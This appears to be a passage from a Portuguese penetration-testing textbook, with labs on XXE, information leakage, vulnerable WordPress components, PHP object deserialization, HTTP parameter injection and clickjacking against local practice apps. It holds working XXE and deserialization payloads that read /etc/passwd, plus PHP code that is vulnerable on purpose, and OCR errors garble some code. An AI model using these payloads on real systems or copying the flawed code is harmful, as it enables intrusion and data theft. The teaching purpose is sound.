do XML. Isso significa que podemos utilizar das entidades externas
para executar comandos no alvo. Esses comandos permitem ler
arquivos, roubar dados, realizar requisicao em nome do servidor
ou, dependendo das caracteristicas, ganhar um terminal remoto. O
ataque XXE acontece porque a aplicagdo processa dados
fornecidos pelo usudrio sem desabilitar a referéncia aos recursos
externos.

Para aprendermos esse ataque na pratica, usaremos novamente
0 sistema Mutillidae. Acesse a URL
http://10.0.0.1/mutillidae/index.php?page=xml-validator.php para
treinar suas habilidades na exploragio dos ataques XXE. Essa
funcionalidade disponibiliza uma funcio de validador XML e
provavelmente nao faz as sanitizagdes necessarias para mitigar essa
vulnerabilidade. Para testar a funcionalidade, submeteremos ao
validador XML um XML em forma de carta de amor.
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<?xml version="1.0" encoding="UTF-8" 7>
<carta>

<de> Fabio </de>

<para> Fabia </para>

<msg> Te amo demasiadamente </msg>

</carta>

Com isso, temos a seguinte resposta da nossa fungdo de
validacao de XML.

XML Submitted

<?xml version="1.0" encoding="UTF-8§" ?> <carta> <de>Fabio</de> <para>Fabia</para>
<msg>Te amo demasiadamente</msg> </carta>

Text Content Parsed From XML
Fabio Fabia Te amo demasiadamente

Figura 9.3: Resultado do XML Validator.

Como pode perceber, o XML que submetemos a aplicacio foi
processado e, por fim, ele apresentou na tela apenas o texto que
estava entre as tags. Como esse processamento aconteceu,
podemos tentar executar o nosso ataque de XXE. Vamos usar um
payload de XXE adaptado de https://gracefulsecurity.com/xxe-
cheatsheet-xml-external-entity-injection/. O XML a seguir foi o
usado para imprimir na tela o arquivo /etc/passwd .

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE replace [
<IENTITY ent SYSTEM "file:///etc/passwd">

1>

<userInfo>
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<firstName>John</firstName>
<lastName>&ent;</lastName>

</userInfo>

De um modo associativo, podemos dizer que o valor entre as
tags de <lastName> é a chamada para uma funcao, e essa funcao
¢ a entidade externa. No exemplo, vimos que o valor da tag

<lastName> ¢é processado, pois ele aparece na resposta do
servidor. Quando adicionamos &ent; , estamos dizendo que se
deve executar a entidade externa, ja que o seu nome é ent , e
passar o valor de retorno dessa execu¢ao como lastName . Na
entidade externa, foi informado SYSTEM "file:///etc/passwd"
e se sua execucao for bem-sucedida, esse retorno sera o conteido
do arquivo.

Como a referéncia aos recursos externos nao esta desabilitada
no sistema, o conteido do arquivo foi passado como valor da tag
<lastName> e foi retornado para a gente. Ap6s sua submissdo na
funcionalidade vulneravel, foi possivel obter o arquivo
/etc/passwd , conforme a figura:
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XML Submitted

<?xml version="1.0" encoding="UTF-8"?> <!--?xml version="1.6" ?--> <!DOCTYPE replace [
<!ENTITY ent SYSTEM "file:///etc/passwd"> ]> <userInfo> <firstName>John</firstName>
<lastName>&ent;</lastName> </userInfo=

Text Content Parsed From XML

John root:x:0:0:root:/root:/bin/fbash daemon:x:1:1:daemon:fusr/shin:/bin/sh
bin:x:2:2:bin:/bin:/binfsh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:
/bin/sync games:x:5:60:games:fusr/games:/bin/sh man:x:6:12:man:/var
/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:
/binfsh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool
Juucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-
data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:
/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:
/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:
/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:105:MySQL
Server,,,:/var/lib/mysgl:/bin/false landscape:x:104:122::/var/lib/landscape:
/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:106:109:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
messagebus:x:107:114::/var/run/dbus:/bin/false tomcat6:x:108:115::/usr
/shareftomcat6:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash
polkituser:x:109:118:PolicyKit,,,:/var/frun/PolicyKit:/bin/false

Figura 9.4: Resultado do ataque XXE.

Agora que vocé ja teve contato com a exploragdo de um modo
simples, podera expandir os conhecimentos alterando o payload ja
enviado. Para isso, tente executar outros comandos, requisitar
novos arquivos e qui¢a combinar o XXE com uma outra
vulnerabilidade, como a de SSRF. Treinar isso aumentara muito as
suas habilidades e entendimento na area de testes de invasao.

9.3 CAPTURA DE INFORMACAO SENSIVEL

A exibicdo de informagdo sensivel é um problema muito
comum nos servicos web. Em um mundo onde o ramo que trata
dos direitos sobre os dados pessoais tem ganhado muita forga, a
perda de dados pode custar muito para uma organizagdo. Com o
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advento da LGPD (Lei Geral de Protecio de Dados Pessoais) no
Brasil, possuir falhas que venham a permitir vazamento de dados
pode levar a multas miliondrias e provocar também um grande
impacto negativo na imagem da organizagao.

Esse ataque, na maioria das vezes, visa a uma posterior
divulgacdo de informagdes sensiveis e ocorre quando um sistema
da web revela acidentalmente ou por meio de exploragio as
informacodes confidenciais de seus usudrios ou da infraestrutura do
sistema. Em geral, um sistema web pode vazar diversos tipos de
informagoes para pessoas nao autorizadas. Como as mais comuns,
podemos elencar: dados sobre usudrios, detalhes da arquitetura do
sistema, dados comerciais ou empresariais.

Os perigos de vazar dados confidenciais de usudrios ou
negocios sao bastante ébvios, mas divulgar informagdes técnicas as
vezes pode ser igualmente sério. O problema relacionado ao
vazamento de informacgdes técnicas esta fortemente ligado a
exploragdes posteriores, pois veremos no préximo capitulo que, ao
saber a versio de um software usado, podemos buscar por
vulnerabilidades conhecidas e explora-las com muita facilidade.

A seguir, veremos na pratica alguns tipos comuns de
vazamento de dados e vocé notard que a maioria deles foi usada
por nos anteriormente. Tente depois fazer uma reflexao sobre esses
vazamentos e como seria dificil fazer algumas exploragoes deste
livro sem que tivéssemos acesso prévio a eles.

Captura de informagodes nos erros

O tratamento improprio de erros pode causar uma variedade
de problemas de seguranga para um sistema web. A falha mais
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comum ¢é quando mensagens de erro oferecem detalhes do sistema,
como a pilha, dados de conexdo com banco de dados e pedagos de
cédigo da implementacdo do sistema. Essas mensagens revelam
detalhes de implementagdo que nunca devem ser revelados aos
usudrios comuns. Caso essas informagdes sejam exibidas no
sistema, pode-se fornecer a agentes mal-intencionados pistas
importantes sobre possiveis vulnerabilidades.

Nossos sistemas de exemplo que estdo hospedados na maquina
OWASP BWA apresentam diversas mensagens de erro nas mais
variadas circunstancias. Por exemplo, acesse
http://10.0.0.1/webgoat.net/Content/ExploitDebug.aspx e vocé
verd a seguinte tela de erro.
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Server Error in '/webgoat.net' Applicatic

Current Dir: / UserName: www-data Machine Name:
OS5 Version: Unix 2.6.32.25

Description: HTTP 500. Error processing request.
Stack Trace:

System.Exception: Current Dir: /
UserName: www-data

Machine Name: owaspbwa

05 Version: Unix 2.6.32.25

at OWASP.WebGoat.NET.ExploitDebug.btnGo Click (System.0bject sende
at System.Web.UI.WebControls.Button.OnClick {System.EventArgs e} [
at System.Web.UI . WebControls.Button.RaisePostBackEvent (System.5tr
at System.Web.UI.WebControls.Button.System.Web.UI.IPostBackEventHa
at System.wWeb.UI.Page.RaisePostBackEvent ({IPostBackEventHandler so
at System.Web.UI.Page.RaisePostBackEvents () [Ox00000]

at System.Web.UI.Page.ProcessRaiseEvents () [Ox00000]

at System.wWeb.UI.Page.InternalProcessRequest () [Ox00000]

at System.Web.UI.Page.ProcessRequest (System.Web.HttpContext conte

Version information: Buntime: Mone 2.4.4; ASP.NET Version: 2.8.58727.1433

Figura 9.5: Mensagem de erro.

Como essa, existem diversas outras. Entao, fica como desafio,
caso tenha interesse em conhecer mais sobre as mensagens de erro,
vasculhar o sistema em busca de informagdes que podem ser
capturadas por meio delas. No capitulo sobre SQL Injection, vimos
que, por vezes, o sistema pode nos mostrar a mensagem de erro
com os comandos SQL, serd que isso ajuda? Nao ¢ preciso sequer
pensar muito sobre essa questao.

Captura de dados pessoais

Os dados pessoais sao informagdes relacionadas a um
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individuo vivo. As diferentes informag¢des que, coletadas em
conjunto, podem levar a identificagdo de uma determinada pessoa,
também constituem dados pessoais. Dados pessoais que foram
sanitizados, criptografados ou pseudonimizados, mas permitem
ainda uma identificacdo da pessoa, também sdo considerados
dados pessoais. Ja os dados pessoais tornados anénimos de forma
que o individuo se torne inidentificavel ndo sdo mais considerados
dados pessoatis.

Nao existe uma férmula para capturar dados de pessoas em um
sistema web, o que cabe aqui entdo ¢é identificar se isso pode
acontecer. Na aplicagdo REST do sistema mutillidae, temos uma
funcionalidade que retorna todos os usudrios validos no sistema e

isso pode ser considerado um vazamento de dados pessoais.

Acesse http://10.0.0.1/mutillidae/webservices/rest/ws-user-
account.php?username=* e veja que todos os usudrios aparecerao
na tela.

[ 10.0.0.1/mutillidae/web: X RESTClient

10.0.0.1/mutillidae/webservices/rest/ws-ji

Result: {Accounts: {[{"username":"admin"},{"username":"adrian"},
"username":"john"},{"username":"jeremy" },{ "username":"bryce"},

{"username":"samurai"},{"username":"jim"},{"username":"bobby"},
"username”:"simba"},{"username":"dreveil"},{ "username":"scotty"},
"username":"cal"},{"username":"john"},{"username":"kevin"},

{"username":"dave"},{"username":"patches"},{"username":"rocky"},
"username":"tim"},{"username":"ABaker"},{"username":"PPan"},
"username":"CHook"},{"username":"james"},{ "username":"user"},
"username":"ed"}1}}

Figura 9.6: Logins vazados.

Como ja dito, existem diversas formas de se explorar essa
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vulnerabilidade. No decorrer do livro, vimos diversas delas
principalmente na parte sobre reconhecimento. Essa ¢ uma
vulnerabilidade que raramente aparece sozinha, geralmente
algumas outras falhas levam a ela. Por isso, devemos sempre estar
atentos aos detalhes trazidos neste livro.

9.4 USO DE COMPONENTES
CONHECIDAMENTE VULNERAVEIS

E muito comum que aplicagbes web incluam algum
componente que tenha uma vulnerabilidade de seguranga
conhecida. Quando isso acontece, o sistema estd vulnerdvel a
diversas a¢des automatizadas pela internet. Qualquer tipo de
componente que tenha uma vulnerabilidade conhecida torna o
sistema que o implementa um alvo facil de exploragdes na internet,
ja que isso ¢ um conhecimento publico.

Esse componente com uma vulnerabilidade conhecida pode ser
o sistema operacional, o CMS, o servidor web, algum plugin
instalado ou, até mesmo, uma biblioteca usada por um desses
plugins. Além disso, também podem ser vulnerdveis versdes
especificas da linguagem de programagio e frameworks. Caso nao
exista um controle rigoroso de versio dos softwares utilizados,
todo o sistema poderd ser comprometido. Pode até parecer injusto,
mas a defesa precisa defender tudo e para o ataque é necessaria
apenas uma brecha.

Quando uma vulnerabilidade é publicada na internet, muitas
vezes ela ja vem acompanhada por métodos de exploragio, para
que uma pessoa possa simplesmente baixar e usar contra o alvo.

Isso ndo serve apenas para o mal, pois administradores de sistemas
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também podem testar se estdo vulneraveis. Isso significa que um
atacante pode usa-lo facilmente contra o sistema, mesmo sendo
um leigo. Quando uma PoC ndo esta disponivel, a documentagao
sobre a vulnerabilidade ¢é facil de acessar, entdo tudo o que o
atacante precisa saber é como seguir as instrucoes.

No entanto, é claro que também hd excegdes a isso. Algumas
vulnerabilidades exigem conhecimento existente sobre o sistema e,
se o componente vulneravel ndo estiver diretamente exposto a
internet, o invasor também precisara descobrir uma solugdo para
isso.

Para treinar as habilidades, temos diversos exemplos em nosso
servidor do OWASP BWA. Podemos acessa-los principalmente na
se¢do sobre CMS, onde vamos entrar no CMS WordPress. Vocé
também pode acessa-los por meio do link
http://10.0.0.1/wordpress/.

Utilizando o plugin Wappalizer, ja visto no capitulo 2,
podemos identificar a versio do Wordpress usada, mas, para
confirmar isso, também podemos acessar o proprio codigo
clicando em Visualizar cédigo-fonte no navegador.
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<!DOCTYPE himl PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" "hti
<html xmlns="http://www.w3.0rg/1999/xhtml">

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"

<title=Broken WordPress </title>

<meta name="generator" [LINCIRCRIIEIHGCEERPRY /> <!/-- leave this ;
<link rel="stylesheet" href="http://10.0.8.1/wordpress/wp-content/1

<link rel="alternate" type="application/rss+xml" title="Broken Worc

<link rel="pingback" href="http://106.8.0.1/wordpress/xmlrpc.php" /:

<style type="text/css" media="screen"=

/* To accomodate differing install paths of WordPress, images are
and not in the wp-layout.css file. If you prefer to use only C
not, then go right ahead and delete the following lines, and ti

Figura 9.7: Versdo do Wordpress no cédigo.

Como pode ser visto na figura, a tag meta traz a informagao da
versdo 2.0 do Wordpress. Agora podemos procurar se existem
vulnerabilidades para essa versio. Com apenas uma pesquisa no
Google usando o termo “wordpress 2.0 vulnerabilities”, podemos
encontrar muita coisa. Acesse, por exemplo, o site wpscan em
https://wpscan.com/wordpress/20. O wpscan é um site famoso na
divulgacao de vulnerabilidades em Wordpress e veja quantas
possibilidades existem.

2019-09-05 tisation fixed in version 523 v
2018-06-27 no known fix

2018-02-05 WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched) no known fix

2017-1-29 WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping fixed in version 491 v
2017-01-11 WordPress <= 4.7 - Post via Email Checks mail.example.com by Default fixed in version 471
20141130 WordPress <= 4.0 - Server Side Request Forgery (SSRF) fixed in version 4.01
2014-11-20 WordPress <= 4.0 - Long Password Denial of Service (Dos) fixed in version 4.01 v
2014-08-01 Wordpress 1.5.1 - 2.0.2 wp-register.php Multiple Parameter XSS fixed in version 2.0.2

Figura 9.8: Vulnerabilidades do Wordpress no site wpscan.
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Como vocé pode ver, algumas vulnerabilidades ainda nem
foram corrigidas e afetam a versdo. No entanto, a quantidade pode
nos atrapalhar um pouco, pois teriamos que testar uma por uma.
Por isso, o site disponibiliza uma ferramenta chamada wpscan, que
significa wordpress scanner. Ao colocar nosso site como alvo,
podemos ver quais vulnerabilidades podemos explorar no nosso
sistema. E além do mais, essa ferramenta vem no Kali por padrao e
estd pronta para o nosso uso. Basta usar o comando wpscan --
url http://10.0.0.1/wordpress/ .

+] URL: http://10.0.0.1/wordpress/ [10.0.0.1]
+] Started: Thu Jul 1 14:13:31 2021

nteresting Finding(s):

+] http://10.0.0.1/wordpress/readme.html
Found By: Direct Access (Aggressive Detection)
Confidence: 100%

+] WordPress version 2.0 identified (Insecure, released on 2007-09-24).
Found By: Atom Generator (Aggressive Detection)
- http://10.0.0.1/wordpress/?feed=atom, <generator url="http://wordp
Confirmed By: Opml Generator (Aggressive Detection)
- http://10.0.0.1/wordpress/wp-links-opml.php, Match: 'generator="wo

The main theme could not be detected.

+] Enumerating All Plugins (via Passive Methods)
+] Checking Plugin Versions (via Passive and Aggressive Methods)

Figura 9.9: Vulnerabilidades do Wordpress pela ferramenta wpscan.

Veja que a ferramenta também acusou as vulnerabilidades do
Wordpress utilizado. O wpscan possui uma funcionalidade muito
interessante: vocé pode criar uma conta no site deles e ganhar um
token que vai permitir uma descoberta mais detalhada, inclusive
cruzando dados com vulnerabilidades bem atuais. Apds criar a
conta e solicitar o token, basta vocé aplica-lo com a op¢ao --api-

token e utilizar. Com certeza, serd uma ferramenta muito util na
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sua jornada.

A exploragao dessas vulnerabilidades acontecera no préximo
capitulo, que sera todo dedicado para a parte operacional do teste
de invasdo.

9.5 FALHA NA DESSERIALIZACAO DE
OBJETOS

Os conceitos que envolvem a necessidade de desserializagdo ja
existem ha varios anos. O processo de desserializagao sucede o de
serializacao, e essas duas técnicas tém o objetivo de converter uma
estrutura de dados em um formato que possa ser facilmente
armazenado ou transmitido. Aqui ndo teremos uma abordagem
profunda sobre o uso tipico desse processo como um todo, apenas
precisamos saber que a técnica de serializacao, em um nivel mais
alto, envolve duas aplicacdoes. Uma delas fard a serializacdo para
que uma outra possa usar o mesmo objeto criado por ela. Esse
processo também é usado para a recuperacio do objeto pela
mesma aplicacdo.

7

O uso da serializagdo ¢ muito comum em linguagens de
programagao, pois ¢ necessario representar estruturas de dados em
um formato que possa ser enviado por um sistema e restaurado
por outro, se for o caso. Os formatos de texto estruturado, como
JSON e XML, sdo muito utilizados para serializaciao no contexto de
aplicagdes web.

Infelizmente ndo encontraremos esse laboratério em nossa
maquina OWASP BWA, no entanto ndo vou deixar vocé sem essa
pratica importante. Vamos desenvolver o nosso préprio
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laboratério e, além de exercitarmos a exploragdo, poderemos
identificar essas falhas em codigos.

Por ser uma linguagem com serializagdo mais didatica e
também simples de elaborar, vamos utilizar o PHP, mas os
conceitos aqui trabalhados poderdo ser migrados para outras
linguagens respeitando as suas peculiaridades.

No PHP, dois fatores sao necessarios para realizar ataques com
sucesso em vulnerabilidades de inje¢ao de objeto. O primeiro é que
deve haver uma implementagdo insegura do método de
serializacdo, que dé margem para exploragdo com base na entrada
do cliente; segundo, deve-se ter um método magico do PHP
implementado dentro da classe alvo. Essas caracteristicas
viabilizarao o ataque, que se resume na inje¢ao de um novo objeto
PHP, s6 que, no caso, malicioso.

Em relagio aos métodos magicos do PHP, devemos ficar
atentos a 15 possibilidades que podem permitir a nossa exploragao.
Todos esses métodos possuem forte influéncia sobre o objeto.
Quem tem experiéncia com Orientagao a Objetos sabe muito bem
0 quao importante sao esses métodos. A seguir, listo os 15 métodos
e uma breve descrigdo sobre eles.

e _ construct() : ¢ executado na construgao do objeto.
e _ destruct() : ¢ executado na destrui¢ao do objeto.

4

__get() : é executado para ler dados em propriedades

inacessiveis diretamente.

__set() : é executado para gravar dados em propriedades
inacessiveis diretamente.

e _ toString() : é executado quando se deseja a conversiao
do objeto em texto.
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__isset() : é executado quando se deseja saber se um
atributo existe.

e _ unset() : ¢ executado para apagar a propriedade do
objeto.

e _ _invoke() : é executado quando se tenta chamar um
objeto como uma fungao.

e _call() : é executado com nome de funcio e
parametros.

e _ set_state() :éexecutado para classes exportadas.

e _ callstatic() : ¢ executado ao invocar métodos
inacessiveis em um contexto estatico.

e _ sleep() : é executado para confirmar dados pendentes
ou executar tarefas de limpeza semelhantes.

e _ wakeup() : é executado na desserializacao do objeto.

e _ clone() : é executado quando se deseja um objeto

idéntico como retorno.

e _ debugInfo() : é executado por var_dump() e, se ndo
estiver definido em um objeto, todas as propriedades
publicas, protegidas e privadas serdao mostradas no debug.

Com esse conhecimento bdsico, agora podemos desenvolver o
nosso exemplo. Veja o cddigo do objeto a seguir, que foi baseado
em um exemplo de https://owasp.org/www-
community/vulnerabilities/PHP_Object_Injection. Para ter uma
experiéncia melhor, adicione o cddigo a seguir a um arquivo
chamado exemplo_des.php no diretério /var/www/ da
maquina OWASP BWA. Para copiar e colocar o cdédigo com
facilidade, vocé poderd usar o servico de SSH, como ja feito
anteriormente.

<?php
// ini_set("display_errors", 1);
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class Exemplo

private $exemploParametro;
private $cmd;

public function __construct($exemploParametro, $cmd)

$this->exemploParametro = $exemploParametro;
$this->cmd = $cmd;

public function __wakeup()

if (isset($this->cmd))

echo "Restauracao do objeto no SO: <br>";
echo system($this->cmd);

if (1isset($_GET["obj"]))

{
{
}
{
}
}
{
$obj
echo
echo
echo
valor";
}
else
{
$obj
echo
}
2>
Esse

= urlencode(serialize(new Exemplo("Teste", "date")));
"Esse objeto serializado foi criado: <br><br>";
$obj;

"<br><br>Para recuperar use o parametro GET obj com esse
= urldecode(unserialize($_GET["obj"]1));

$obj;

codigo criado é bem simples, seu objetivo é criar um

objeto da classe Exemplo e permitir a restauragao desse objeto em

um momento posterior. Quando ocorre a restauragdo, o sistema

exibe na tela a hora e a data em que o procedimento aconteceu.
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Para acessar essa funcionalidade, acesse o seguinte link:
http://10.0.0.1/exemplo_des.php e note que o objeto é criado e
mostrado na tela em codificagdo de URL. Caso esteja acontecendo
algum erro, descomente a primeira linha, isso podera auxilia-lo em

possiveis corregdes.

@ 10.0.0.1

Esse objeto serializado foi criado:

0%3A7%3A%22Exemplo%22%3A2%3A%7Bs%3A25%3A%22
%00Exemplo%00exemploParametro%22%3Bs%3A5%3A%22Teste
%22%3Bs%3A12%3A%22%00Exemplo%00cmd%22%3Bs%3A4
%3A%22date%22%3B%7D

Para recuperar use o parametro GET obj com esse valor

Figura 9.10: Objeto serializado na tela.

Com isso, para a restauracdo do objeto, devemos acessar o
seguinte link: http://10.0.0.1/exemplo_des.php?
0bj=0%3A7%3A%22Exemplo%22%3A2%3A%7Bs%3A25%3A%2
2%00Exemplo%00exemploParametro%22%3Bs%3A5%3A%22Test
€%22%3Bs%3A12%3A%22%00Exemplo%00cmd%22%3Bs%3A4%
3A%22date%22%3B%7D.

Obteremos a resposta da figura a seguir.

Hora da resutauracao do objeto no SO:
FriJul 2 16:29:05 EDT 2021 Fri Jul 2 16:29:05 EDT 2021

Figura 9.11: Hora de restauragao do objeto.

Agora, com o auxilio da ferramenta Burp Suite, vamos
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http://10.0.0.1/exemplo_des.php?obj=O%3A7%3A%22Exemplo%22%3A2%3A%7Bs%3A25%3A%22%00Exemplo%00exemploParametro%22%3Bs%3A5%3A%22Teste%22%3Bs%3A12%3A%22%00Exemplo%00cmd%22%3Bs%3A4%3A%22date%22%3B%7D

interceptar essa requisicio e desfazer a codificacio de URL
selecionando todo o valor do parametro obj e teclando CTRL +
SHIFT + U . Note que existe um valor no meio do objeto
serializado com o comando date do sistema operacional Linux e
que sera o executado para a exibicao das horas.

1 GET fexemplo_des. php?obi=
0: 7: "Exemplo": 2: {s: 25: "ExemploexemploParamet ro"; s: 5: "Teste"; s: 12: "Exemplocmd"; s: 4: "date"; } HTTP/1.1
Hest: 18.8.8.1
User-Agent: Mozillas5. @ (¥11; Linux x86_564;, rv:G68.0) Gecko/20100101 Firefox/68.8
Accept: text/html, application/xhtml+eml, spplication/xml; q=0.9, %/ =0 2
Accept -Language: en-US en;cF0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: security_level=0; tz offset=-12000; BEEFHOOK=
85THvkyTDxNBokkuj k20gzHf IEMreizqRbssmbSP4Hzhi n10AAFGGORILY qNO dyanidWEErZsdaiTsCy; dbx-postmets=
grabit=8- 1- 2- 3- 4- 5- 6-Gadvancedstuff=0- 1- 2-
9 Upgrade-Insecure-Requests: 1
10

an

@ w

0 o~

Figura 9.12: Comando date no objeto serializado.

Para realizarmos o ataque, vamos substituir o texto date por
cat /etc/passwd e depois ndo podemos esquecer de refazer a
codificagdio de URL selecionando todo o objeto serializado e
clicando com o botdo esquerdo em convert selecion / URL /
URL encode all characters . Ao lado de onde estd escrito o
comando date , tem um valor s:4 e isso significa o tamanho do
texto. Vocé deve altera-lo para 15 no caso desse comando. Apds
isso, basta dar prosseguimento para a requisi¢do e vocé obterd o
seguinte resultado.
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B @ 10.0.01

Hora da resutauracao do objeto no SO:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:
/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh 1p:x:7:7:lp:/var/spool
/1pd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spoc
/news:/bin/sh uucp:x:10:10:uucp:/var/spoolfuucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var
J/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var
Jrunfircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:102::/home
/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false
mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false
landscape:x:104:122::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:106:109:PostgreSQL administrator,,,:/var/lib/postgresql:
/bin/bash messagebus:x:107:114::/var/run/dbus:/bin/false
tomcat6:x:108:115::/usr/share/tomcat6:/bin/false
user:x:1000:1000:user,,,;/home/user:/bin/bash

Figura 9.13: Ataque com desserializagao de objetos.

Da mesma forma que obtivemos o resultado acima, podemos
executar qualquer comando e comprovar a vulnerabilidade de
diversas formas. O que tivemos aqui foi uma introdugdo, ainda
existe muito a explorar sobre a vulnerabilidade e vocé estd
totalmente apto a buscar mais detalhes, conforme a necessidade da

sua carreira.

9.6 INJECAO E POLUICAO DE PARAMETROS
HTTP

A inje¢do de pardmetros no protocolo HITTP pode ser feita
quando pardmetros enviados pelo cliente que ndo estavam
previstos pelo servidor sdo utilizados de alguma maneira por ele.
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Dessa forma, um usudrio mal-intencionado pode injetar novos
parametros nas requisicdes HTTP e alterar o comportamento do
sistema de uma forma indesejada, possibilitando diversas agdes
ndo autorizadas. Ja o ataque de poluicdo de pardmetros é uma
técnica considerada de evasdo, pois por meio dela é possivel que o
atacante contorne algumas prote¢des na aplicagdo. O fato de cada
servidor possuir uma forma diferente de recuperar esses
pardmetros HTTP, viabiliza esse ataque.

Para exemplificar o ataque de injecdo de parametros HTTP,
vamos utilizar o exemplo a seguir. Note a seguinte requisi¢do que
faz alusdao a uma transferéncia bancaria.

1  POST sbancoftranferencia. asp HTTR/L.1
2  Host: banco. exemplo. com

%z Content-Length: 123

4

contalrigen=2021001&quant La=1000&c ontaDest 1no= 2021050

Figura 9.14: Primeira requisi¢ao para transferéncia.

Essa solicitacdo enviada pelo usudrio faz com que a aplicacdo
realize, em uma situagdo hipotética, outra solicitacao, s6 que dessa
vez para um servidor interno especifico que ndo é acessivel
diretamente pelo usudrio. Para essa solicitacdo da figura acima, a
aplicagdo copia alguns dos valores passados na solicitagao vinda do
cliente. Com isso, a segunda solicitacao ficaria conforme a préxima

figura.
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POST fconf_trans.asp HTTP/L. 1
Host: banco. interno. tt
Content -Length: 123

[ B R O )

numCen0rige 2021001 &val or=1000&numConDes=2021058

Figura 9.15: Segunda requisi¢do para transferéncia.

Essa outra solicitagdo faz com que o servidor interno,
responsavel pelas transferéncias, realmente verifique se ha fundos
disponiveis para realizar a operacido e, em caso afirmativo, a
realiza. No entanto, por meio de manipulacido no servico acessivel
diretamente, pode-se fazer com que a aplica¢ao envie ao servidor
interno um novo parametro, que supostamente dispensa a
verificagao de fundos. Suponha algo conforme a figura adiante.

POST fbanco/tranferencia. asp HTTP/1.1

Host: banco. exemplo. com
Content -Length: 53

[F S

contalriger=2021001&val idacac=fal sefquant 1= 1000&: ontabest Lno=2021050

Figura 9.16: Primeira requisigdo para transferéncia com exploragao.

Com a manipulagao feita nessa figura, o sistema enviaria uma
requisicdo adicionando um novo parametro ao sistema interno,
que ndo era previsto e que alteraria o comportamento do sistema.
A figura a seguir exibe a nova requisicio enviada do sistema
acessivel pelo cliente para o sistema interno.

numCendrigs202100L&val idacac=fal sefval or=1000&numConDes= 2021050

1  POST fconf_trans. asp HTTP/1.1
2 Host: banco. interno. tt

2  Content-Length: 122

Fl

Figura 9.17: Segunda requisigdo para transferéncia com exploragao.
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Desenvolver um laboratério para explorar esse tipo de
vulnerabilidade seria muito custoso, no entanto isso nao prejudica
o nosso aprendizado, ja que ficou claro que o ataque de injecdo de
parametro afeta geralmente outro sistema, por meio da
manipula¢do de um outro que entra em contato com ele.

Ja& no caso da poluicio de pardmetros, ndo existe uma
exploragdo a ser feita, basta assimilar a sua utilidade. Suponha que
em uma certa aplicacdo um usuario nao tenha permissao de editar
uma informagdo e esse filtro é feito por meio da valida¢ao de
parametros. O link a seguir exemplifica essa situagdo:

http://www.exemplo.com?acesso=visualizacao .

A primeira agdo que vem a nossa mente é alterar a URL de
modo que ela fique similar a este link: http://www.exemplo.com?
acesso=edicao .

No entanto, ao fazer isso é apresentada uma tela que informa
uma falta de permissido para esse acesso. Nesse caso, podemos
tentar uma poluicao de pardmetros para burlar esse mecanismo,
algo como: http://www.exemplo.com?

acesso=visualizacao&acesso=edicao .

Esse link acima pode permitir o nosso acesso, dependendo da
forma como o sistema foi implementado, pois o filtro pode
trabalhar pegando a primeira ocorréncia, mas na hora de recuperar
a funcionalidade o sistema recupera a ultima. Esse é o conceito
bésico de um ataque de poluicido de parametros.

9.7 CLICKJACKING OU UI REDRESS

Em alguns casos, ndo é possivel explorar a vulnerabilidade de
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CSREF, ja vista em capitulos anteriores. Isso porque pode existir o
que chamamos de anti CSRF tokens ou algum outro tipo de
protecdao dentro do sistema. Nesses contextos, podemos usar os
ataques de clickjacking, que sdo projetados para permitir que um
site externo induza agdes do usudrio em outro dominio, mesmo se
tokens anti CSRF existirem. Esses ataques funcionam porque as
solicitagoes sdo feitas realmente pela aplicagdo. Pode parecer um
pouco confuso, mas é um ataque de uma engenharia muito bem
elaborada.

Em sua forma basica, esse ataque envolve uma pagina web sob
o controle do atacante que trard a pagina de destino dentro de um
iframe. No decorrer do ataque, o atacante buscara sobrepor esse
iframe da pagina alvo, de forma que ela fique invisivel ao usuario
que acessar a sua pagina. Dessa forma, quando o usudrio interage
com a pagina, embora parega que ele estd interagindo com o site
enviado pelo atacante, na verdade ele esta realizando a¢des no site
que estd no iframe, que por sua vez fica invisivel, mas nao
desabilitado.

Para fazer esse laboratorio, vamos usar a aplicaggo DVWA,
acessivel pela URL: http://10.0.0.1/dvwa/setup.php. Nessa pagina,
vamos induzir o usudrio a clicar no link que restaura o banco de
dados por meio da vulnerabilidade de clickjacking. Para isso,
também utilizaremos uma funcionalidade muito interessante do
Burp Suite. Apds acessar a DVWA, abra o Burp e, no menu no

